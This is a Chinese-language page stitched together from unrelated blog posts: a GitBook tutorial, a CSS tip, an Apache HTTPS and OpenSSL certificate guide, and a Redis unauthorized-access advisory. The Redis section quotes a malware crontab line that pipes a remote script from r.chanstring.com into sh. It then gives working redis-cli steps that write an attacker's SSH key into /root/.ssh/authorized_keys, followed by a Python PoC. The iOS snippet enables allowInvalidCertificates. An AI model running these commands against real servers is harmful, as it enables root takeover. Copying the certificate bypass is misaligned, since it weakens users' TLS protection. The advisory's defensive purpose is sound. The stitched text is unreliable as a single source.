我们在进入空间，看到文件common.inc.php的权限也不变了。那么这个问题也得到了解决。
温馨提示：该技术解决方案的是由无忧主机客服为我们空间客户处理该问题时提供的处理方法，确保在无忧主机能完美实现，因服务较多，客服繁忙，其他主机我们没有过多精力进行大范围测试，不能确保所有虚拟主机都能完美处理，请您理解！
Modern book format and toolchain using Git and Markdown
GitBook 是一个使用 GitHub/Git 和 Markdown 来制作电子书的命令行工具 (Node.js 库)。
另外，有一个网站 gitbook.com 可以帮助用户更好的使用 Gitbook。同时 gitbook.com 还提供了一个桌面编辑器，帮助用户编辑电子书。Gitbook 与 gitbook.com 的关系类似 Git 和 GitHub，一个是工具，另一个是基于工具创建的网站。
本次课程涉及如下知识点：
进入实验以后，我们打开桌面上的 Xfce 终端：
$ cd Code
$ mkdir gitbook
$ cd gitbook
文件夹 gitbook 作为我们的工作目录，之后所有的操作都在这个目录下执行。
Gitbook 的安装和准备大概需要几分钟。
目前有两种方式可以而让你使用 Gitbook 来编辑、发布和管理电子书：
gitbook.com 网站。本地安装 Gitbook 需要 NodeJS 支持，推荐安装 NodeJS v4.0.0 及以上版本。
目前安装 Gitbook 最方便的方式就是通过 npm 安装：
sudo npm install -g gitbook-cli
sudo npm install -g gitbook
安装完之后，你可以检验下是否安装成功。
gitbook -V
安装好 Gitbook 之后，我们就可以创建图书了。
Gitbook 的基本用法非常简单，基本上就只有两步:
gitbook init 初始化书籍目录gitbook serve 编译书籍首先，进入一个目录，例如之前我们创建好的 gitbook，执行初始化命令：
sudo gitbook init
然后我们的 gitbook 空目录会多出两个文件：
gitbook/
├── README.md
└── SUMMARY.md
README.md 和 SUMMARY.md 是两个必须文件，README.md 是对书籍的简单介绍。SUMMARY.md 是书籍的目录结构。
REAMDE.md:
# Introduction
SUMMARY.md:
# Summary
* [Introduction](README.md)
对上面两个文件，我们做一下编辑：
REAMDE.md:
# Introduction
This is a book powered by [GitBook](https://github.com/GitbookIO/gitbook).
SUMMARY.md:
# Summary
* [Introduction](README.md)
* [第一部分](chapter1/README.md)
* [1.1 数学](chapter1/math/math.md)
* [1.1 高等数学](chapter1/math/advance.md)
* [1.2 离散数学](chapter1/math/lisan.md)
* [1.2 编程语言](chapter1/program/program.md)
* [1.2.1 C 语言](chapter1/program/c.md)
* [1.2.2 C++](chapter1/program/c++.md)
* [1.2.3 Java](chapter1/program/java.md)
* [1.3 软件工程](chapter1/software/software.md)
* [1.4 数据结构](chapter1/data_structure/data_structure.md)
* [1.5 数据库原理](chapter1/database/database.md)
* [1.6 计算机网络](chapter1/network/compute_network.md)
* [1.7 计算机系统](chapter1/system/compute_system.md)
* [1.7.1 操作系统](chapter1/system/operating.md)
* [1.7.2 微机接口](chapter1/system/interface.md)
* [1.7.3 计算机组成原理](chapter1/system/comprise.md)
* [1.7.4 计算机系统结构](chapter1/system/system_structure.md)
* [第二部分](chapter2/README.md)
* [2.1 算法](chapter2/algorithm/algorithm.md)
* [2.2 数据挖掘](chapter2/data_mining/data_mining.md)
* [2.3 机器学习](chapter2/learning/machine_learning.md)
* [2.4 搜索引擎](chapter2/search/search_engine.md)
编辑这两个文件之后，再次执行：
gitbook init
它会为我们创建 SUMMARY.md 中的目录结构。
书籍目录结构创建完成以后，就可以使用 gitbook serve 来编译和预览书籍了：
sudo gitbook serve
gitbook serve 命令实际上会首先调用 gitbook build 编译书籍，完成以后会打开一个 web 服务器，监听在本地的 4000 端口。
现在，可以用浏览器打开 http://localhost:4000 查看书籍的效果，如下图：
现在，Gitbook 为我们创建了书籍目录结构后，就可以向其中添加真正的内容了，文件的编写使用 Markdown 语法，在文件修改过程中，每一次保存文件，gitbook serve 都会自动重新编译，所以可以持续通过浏览器来查看最新的书籍效果！
gitbook.com 使用gitbook.com 是一个围绕 Gitbook 发行书籍的社区，于 2014 年初创，gitbook.com 提供免费和付费的服务，而且免费账户就可以享受诸多服务，包括：
要使用 gitbook.com 来托管你的书籍，首先需要注册一个账号。
登陆 gitbook.com 后，在用户页面，可以管理现有书籍以及创建新的书籍:
创建完成以后，会进入书籍管理页面：
点击 “Edit your book” 按钮，进入一个在线编辑器：
README.md 和 SUMMARY.md。前者是书籍的简介，后者是真正决定书籍目录结构的，比如多层次目录结构，需要手动修改 SUMMARY.md(左上方会立刻呈现效果)。我们可以在 GitHub 上创建一个仓库，来管理书籍源码。
注意:
源代码保存到 master 分支，编译出来的静态文件 _book 上传到 gh-pages 分支，这样我们就可以通过 GitHub pages 来发布电子书了。
具体操作:
book，这样我就就得到了一个 book 的空仓库;git clone git@github.com:USER_NAME/book.git;git checkout -b gh-pages，注意，分支名必须为 gh-pages;git push -u origin gh-pages;git checkout master。经过这一步处理，我们已经创建好 gh-pages 分支了，有了这个分支，GitHub 会自动为你分配一个访问网址：http://USERNAME.github.io/book。
操作到这一步，我们所在目录是在 Code/book/ 下，现在我们需要在 Code 目录下保存我们的电子书的静态文件，切换到Code 目录，克隆远程仓库 book 的 gh-pages 分支并保存为 book_build:
git clone -b gh-pages git@github.com:USERNAME/book.git book-build
然后我们从 Code/book/_book 目录下把编译好的电子书静态文件复制到 Code/book_build 下，执行：
sudo git add .
sudo git commit -m "add e-book static file"
sudo git push
将静态文件 push 到远程仓库 book 的 gh-pages 分支。
然后，等十来分钟的样子，你就可以通过访问网址：http://USERNAME.github.io/book来访问到你的在线图书了。之后，每次修改之后，都可以将生成的静态文件 copy 到 book-build 目录，再 push 到远程仓库 book 的 gh-pages 分支。
我们之前在 gitbook.com 新建了一本电子书，并且把电子书的源码存放在了 GitHub 上。现在，我们可以将 gitbook.com上的这本电子书与 GitHub 的远程仓库关联起来，我们可以通过向书籍的 GitHub 仓库提交内容来更新书籍。
登陆 gitbook.com 网站，可以看到我们之前创建的电子书，然后点击 “Book Settings” 按钮。
在 “Settings” 栏目中，点击 “GitHub”。
点击 “Select a Repository”，选择我们创建的存放电子书源码的仓库。
确定仓库之后，点击 “Sync” 按钮，同步。
成功！之后，每次在 GitHub 上更新电子书时，都会自动同步到 gitbook.com，并且自动编译成电子书。
本次试验完成了对 Gitbook 的简单掌握，学会制作简单的电子书籍，并且发布到 gitbook.com 或者 GitHub pages 上面。
参考：
https://github.com/GitbookIO/gitbook
padding和border影响宽度或者高度时，本文章基本可解决问题
.test1{ box-sizing:content-box; width:200px; padding:10px; border:15px solid #eee; }
.test2{ box-sizing:border-box; width:200px; padding:10px; border:15px solid #eee; }
转自简书 http://www.jianshu.com/p/aa7f009a5364
- 修改httpd.conf文件
目录：/etc/apache2/httpd.conf
修改参数：
1.LoadModule ssl_module libexec/apache2/mod_ssl.so
2.Include /etc/apache2/extra/httpd-ssl.conf
3.Include /etc/apache2/extra/httpd-vhosts.conf
修改方式：将上述三条前的＃去掉开启- 修改httpd-ssl.conf文件
目录：/etc/apache2/extra/httpd-ssl.conf
1.SSLCertificateFile “/etc/apache2/ssl/server.crt”
2.SSLCertificateKeyFile “/etc/apache2/ssl/server.key”
3.SSLCertificateChainFile “/private/etc/apache2/server-ca.crt”
修改方式：将上述三条前的＃去掉开启- 编辑httpd-vhosts.conf文件
屏幕快照 2016-08-30 下午4.21.14.png
httpd.conf：
LoadModule ssl_module libexec/apache2/mod_ssl.so(告诉apache支持ssl)
Include /etc/apache2/extra/httpd-ssl.conf(ssl配置文件)
Include /etc/apache2/extra/httpd-vhosts.conf(虚拟主机配置文件)httpd-ssl.conf：
SSLCertificateFile “/etc/apache2/ssl/server.crt”(服务端证书的目录)
SSLCertificateKeyFile “/etc/apache2/ssl/server.key”(服务端私钥的目录)
SSLCertificateChainFile “/private/etc/apache2/server-ca.crt”(钥匙链的目录)httpd-vhosts.conf：
DocumentRoot(默认访问的文件夹路径)
ServerName(域名)
SSLEngine on(打开ssl引擎)
SSLCipherSuite(支持的加密算法)
目录：/usr/local/etc/openssl/openssl.cnf
1.[ CA_default ]部分dir目录(修改成自己想修改的任何一个目录或者不修改)
2.(前提需要添加别名等扩展信息，别名为例)[ v3_ca ]部分subjectAltName打开(设置为@alt_names[名字随意])
3.(前提需要添加别名等扩展信息，别名为例)[ usr_cert ]部分subjectAltName打开(设置为@alt_names[名字随意])
4.添加[ alt_names ]
IP.1 = 192.168.2.20
5.其他信息根据实际需求更改
这里所有的操作都在[ CA_default ]部分dir目录下进行。
准备工作：
1.
touch index.txt
2.touch index.txt.attr
3.echo 01 > serial
4.mkdir newcerts
5.mkdir keys生成根证书：
私钥：
openssl genrsa -des3 -out keys/rootca.key 2048
根证书：openssl req -new -x509 -days 3650 -key keys/rootca.key -out keys/rootca.crt生成二级根证书：
私钥：
openssl genrsa -des3 -out keys/secondca.key 2048
去密码：openssl rsa -in keys/secondca.key -out keys/secondCA.key
请求文件：openssl req -new -days 3650 -key keys/secondca.key -out keys/secondca.csr
根证书签名：openssl ca -extensions v3_ca -in keys/secondca.csr -config /usr/local/etc/openssl/openssl.cnf -days 3650 -out keys/secondca.crt -cert keys/rootca.crt -keyfile keys/rootca.key生成服务端证书：
私钥：
openssl genrsa -des3 -out keys/server.key 2048
去密码：openssl rsa -in keys/server.key -out keys/server.key
请求文件：openssl req -new -days 3650 -key keys/server.key -out keys/server.csr
签名：openssl ca -in keys/server.csr -config /usr/local/etc/openssl/openssl.cnf -days 3650 -out keys/server.crt -cert keys/secondca.crt -keyfile keys/secondca.key生成钥匙链：
钥匙链：
cat keys/rootca.crt keys/secondca.crt > chain.crt
1.countryName、stateOrProvinceName、organizationName生成证书的时候必须保持一致。
2.如果签名的时候发生错误修改openssl.cnf文件下的default_md属性为sha256(sha256为通用的签名算法)
3.Common Name尽量保持不一致，服务端证书生成的时候Common Name为域名
4.如果遇到其他的问题可以留言
启动apache：sudo apachectl restart
在浏览器中访问：
继续：
提示：如果没有使用afn需遵循NSURLSessionTaskDelegate代理，在代理方法里验证即可。
1.在钥匙串中导出根证书的cer文件导入工程
2.关键代码：
AFSecurityPolicy securityPolicy = [AFSecurityPolicy policyWithPinningMode:AFSSLPinningModeCertificate];
securityPolicy.allowInvalidCertificates = YES;
manager.securityPolicy = securityPolicy;3.验证结果
在这里浪费了一些时间，很多原因是因为网上有些博客写的不是很明了或者已经很老了，因此走了一些弯路。所以写出来这篇博客介绍的不算很详尽，但是关键的点都已经写了出来。希望能够帮助到你们。
Redis 未授权访问缺陷 ，使用redis的服务器提高警惕了，赶紧查看，防止被肉机。
近日发现服务器上有一个异常的进程占用了服务器全部的cpu，htop查看确实有一个异常进程，kill掉进程后发现自己又启动起来了，于是查看crontab，确实有一个自动脚本，
*/2 * * * * curl -L https://r.chanstring.com/api/report?pm=1 | sh
看来服务器被黑了，还好，网上有遇到相同问题的大牛给出了问题的根本原因，原来是redis服务器未授权访问缺陷的问题
下面详细说一下该漏洞的原理以及该如何预防：
Redis 默认情况下，会绑定在 0.0.0.0:6379，这样将会将Redis服务暴露到公网上，如果在没有开启认证的情况下，可以导致任意用户在可以访问目标服务器的情况下未授权访 问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法，可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中，进而可以直接登录目标服务器。
Redis 默认情况下，会绑定在 0.0.0.0:6379，这样将会将Redis服务暴露到公网上，如果在没有开启认证的情况下，可以导致任意用户在可以访问目标服务器的情况下未授权访 问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法，可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中，进而可以直接登录目标服务器。
Redis 安全模型的观念是: “请不要将Redis暴露在公开网络中, 因为让不受信任的客户接触到Redis是非常危险的” 。
Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 99.99%使用Redis的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。
因为其他受信任用户需要使用Redis或者因为运维人员的疏忽等原因，部分Redis 绑定在0.0.0.0:6379，并且没有开启认证（这是Redis的默认配置），如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源 ip访问等，将会导致Redis服务直接暴露在公网上，导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。
利用Redis自身的相关方法，可以进行写文件操作，攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中，进而可以直接登录目标服务器。
Redis 暴露在公网（即绑定在0.0.0.0:6379，目标IP公网可访问），并且没有开启相关认证和添加相关安全策略情况下可受影响而导致被利用。
通过ZoomEye 的搜索结果显示，有97700在公网可以直接访问的Redis服务。
根据 ZoomEye 最新于2015年11月12日0点探测结果显示：
总的存在无验证可直接利用 Redis 服务的目标全球有49099，其中中国有16477。其中被明着写入crackit的，也就是已经被黑的比例分别是全球65%（3.1万），中国67.5%（1.1万）。
1.1. 漏洞分析与利用
首先在本地生产公私钥文件:
$ssh-keygen –t rsa
然后将公钥写入foo.txt文件
$ (echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > foo.txt
再连接Redis写入文件
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /Users/antirez/.ssh/OK
$ 192.168.1.11:6379> config get dir1) “dir”2) “/root/.ssh”
$ 192.168.1.11:6379> config set dbfilename “authorized_keys”OK
$ 192.168.1.11:6379> saveOK
这样就可以成功的将自己的公钥写入/root/.ssh文件夹的authotrized_keys文件里，然后攻击者直接执行：
$ ssh –i id_rsa root@192.168.1.11
即可远程利用自己的私钥登录该服务器。
当然，写入的目录不限于/root/.ssh 下的authorized_keys，也可以写入用户目录，不过Redis很多以root权限运行，所以写入root目录下，可以跳过猜用户的步骤。
Redis 未授权的其他危害与利用
数据库数据泄露
Redis 作为数据库，保存着各种各样的数据，如果存在未授权访问的情况，将会导致数据的泄露，其中包含保存的用户信息等
代码执行
Redis可以嵌套Lua脚本的特性将会导致代码执行, 危害同其他服务器端的代码执行, 样例如下
一旦攻击者能够在服务器端执行任意代码, 攻击方式将会变得多且复杂, 这是非常危险的.
通过Lua代码攻击者可以调用 redis.sha1hex() 函数，恶意利用 Redis 服务器进行 SHA-1 的破解。
敏感信息泄露
通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫
可以看到泄露了很多 Redis 服务器的信息, 有当前 Redis 版本, 内存运行状态, 服务端个数等等敏感信息。
全球无验证可直接利用 Redis 分布情况
全球无验证可直接利用 Redis TOP 10 国家与地区
漏洞 PoC
#!/usr/bin/env Python
# -*- coding:utf-8 -*-
import socket
import urlparse
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
class TestPOC(POCBase):
vulID = ‘89339’
version = ‘1’
author = [‘Anonymous’]
vulDate = ‘2015-10-26’
createDate = ‘2015-10-26’
updateDate = ‘2015-10-26’
references = [‘http://sebug.net/vuldb/ssvid-89339’]
name = ‘Redis 未授权访问 PoC’
appPowerLink = ‘http://redis.io/’
appName = ‘Redis’
appVersion = ‘All’
vulType = ‘Unauthorized access’
desc = ”’
redis 默认不需要密码即可访问，黑客直接访问即可获取数据库中所有信息，造成严重的信息泄露。
”’
samples = [”]
def _verify(self):
result = {}
payload = ‘\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a’
s = socket.socket()
socket.setdefaulttimeout(10)
try:
host = urlparse.urlparse(self.url).netloc
port = 6379
s.connect((host, port))
s.send(payload)
recvdata = s.recv(1024)
if recvdata and ‘redis_version’ in recvdata:
result[‘VerifyInfo’] = {}
result[‘VerifyInfo’][‘URL’] = self.url
result[‘VerifyInfo’][‘Port’] = port
except:
pass
s.close()
return self.parse_attack(result)
def _attack(self):
return self._verify()
def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail(‘Internet nothing returned’)
return output
register(TestPOC)解决方案
临时解决方案
- 配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379.
- 配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中.
- 配置rename-command CONFIG “RENAME_CONFIG”, 这样即使存在未授权访问, 也能够给攻击者使用config指令加大难度
- 好消息是Redis作者表示将会开发”real user”，区分普通用户和admin权限，普通用户将会被禁止运行某些命令，如config
官方解决方案
暂无官方解决方案
推荐防护方案
暂无防护方案
文章来源：http://blog.csdn.net/u010391029/article/details/51711185
